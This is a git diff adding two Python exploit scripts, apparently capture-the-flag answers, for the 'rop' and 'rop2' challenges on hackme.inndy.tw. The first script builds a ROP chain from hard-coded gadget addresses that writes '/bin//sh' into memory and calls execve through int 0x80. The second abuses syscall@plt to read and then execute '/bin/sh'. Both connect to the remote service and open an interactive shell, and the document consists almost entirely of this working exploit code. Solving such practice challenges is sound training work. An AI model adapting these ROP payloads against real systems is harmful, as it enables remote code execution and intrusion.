diff --git a/nx/rop/answer.py b/nx/rop/answer.py
new file mode 100644
index 0000000..d7c7b4d
--- /dev/null
+++ b/nx/rop/answer.py
@@ -0,0 +1,50 @@
+#!/usr/bin/env python2
+from pwn import *
+from LibcSearcher import *
+from struct import pack
+import os
+context(arch = "i386",os = "linux", log_level = "debug")
+
+# ROPgadget --binary rop --ropchain
+
+# Padding goes here
+p = 0x10*'0'
+
+p += pack('<I', 0x0806ecda) # pop edx ; ret
+p += pack('<I', 0x080ea060) # @ .data
+p += pack('<I', 0x080b8016) # pop eax ; ret
+p += '/bin'
+p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
+p += pack('<I', 0x0806ecda) # pop edx ; ret
+p += pack('<I', 0x080ea064) # @ .data + 4
+p += pack('<I', 0x080b8016) # pop eax ; ret
+p += '//sh'
+p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
+p += pack('<I', 0x0806ecda) # pop edx ; ret
+p += pack('<I', 0x080ea068) # @ .data + 8
+p += pack('<I', 0x080492d3) # xor eax, eax ; ret
+p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
+p += pack('<I', 0x080481c9) # pop ebx ; ret
+p += pack('<I', 0x080ea060) # @ .data
+p += pack('<I', 0x080de769) # pop ecx ; ret
+p += pack('<I', 0x080ea068) # @ .data + 8
+p += pack('<I', 0x0806ecda) # pop edx ; ret
+p += pack('<I', 0x080ea068) # @ .data + 8
+p += pack('<I', 0x080492d3) # xor eax, eax ; ret
+p += pack('<I', 0x0807a66f) # inc eax ; ret
+p += pack('<I', 0x0807a66f) # inc eax ; ret
+p += pack('<I', 0x0807a66f) # inc eax ; ret
+p += pack('<I', 0x0807a66f) # inc eax ; ret
+p += pack('<I', 0x0807a66f) # inc eax ; ret
+p += pack('<I', 0x0807a66f) # inc eax ; ret
+p += pack('<I', 0x0807a66f) # inc eax ; ret
+p += pack('<I', 0x0807a66f) # inc eax ; ret
+p += pack('<I', 0x0807a66f) # inc eax ; ret
+p += pack('<I', 0x0807a66f) # inc eax ; ret
+p += pack('<I', 0x0807a66f) # inc eax ; ret
+p += pack('<I', 0x0806c943) # int 0x80
+
+io = remote("hackme.inndy.tw", 7704)
+#io = process('./rop')
+io.sendline(p)
+io.interactive()
diff --git a/nx/rop/rop b/nx/rop/rop
new file mode 100755
index 0000000..c76b32d
Binary files /dev/null and b/nx/rop/rop differ
diff --git a/nx/rop2/answer.py b/nx/rop2/answer.py
new file mode 100644
index 0000000..91dea78
--- /dev/null
+++ b/nx/rop2/answer.py
@@ -0,0 +1,36 @@
+#!/usr/bin/env python2
+from pwn import *
+from LibcSearcher import *
+from struct import pack
+import os
+context(arch = "i386",os = "linux", log_level = "debug")
+
+p = remote("hackme.inndy.tw", 7703)
+#p = process('./rop2')
+elf = ELF('./rop2')
+
+syscall_plt = elf.plt['syscall']
+overflow_func = elf.sym['overflow']
+main_func = elf.sym['main']
+bss_buf = elf.bss()
+
+p.recvuntil("ropchain:")
+payload1 = 0xc*'z'+p32(0)+p32(syscall_plt)+p32(main_func)+p32(3)+p32(0)+p32(bss_buf)+p32(1024)
+p.sendline(payload1)
+
+payload2 = "/bin/sh\x00"
+p.sendline(payload2)
+
+p.recvuntil("ropchain:")
+payload3 = 0xc*'z'+p32(0)+p32(syscall_plt)+p32(main_func)+p32(11)+p32(bss_buf)+p32(0)+p32(0)
+p.sendline(payload3)
+
+with open("poc.txt", "w") as f:
+    f.write(payload1)
+    f.write("\n")
+    f.write(payload2)
+    f.write("\n")
+    f.write(payload3)
+    f.write("\n")
+
+p.interactive()
diff --git a/nx/rop2/poc.txt b/nx/rop2/poc.txt
new file mode 100644
index 0000000..a5e0b33
Binary files /dev/null and b/nx/rop2/poc.txt differ
diff --git a/nx/rop2/rop2 b/nx/rop2/rop2
new file mode 100755
index 0000000..c8a11d2
Binary files /dev/null and b/nx/rop2/rop2 differ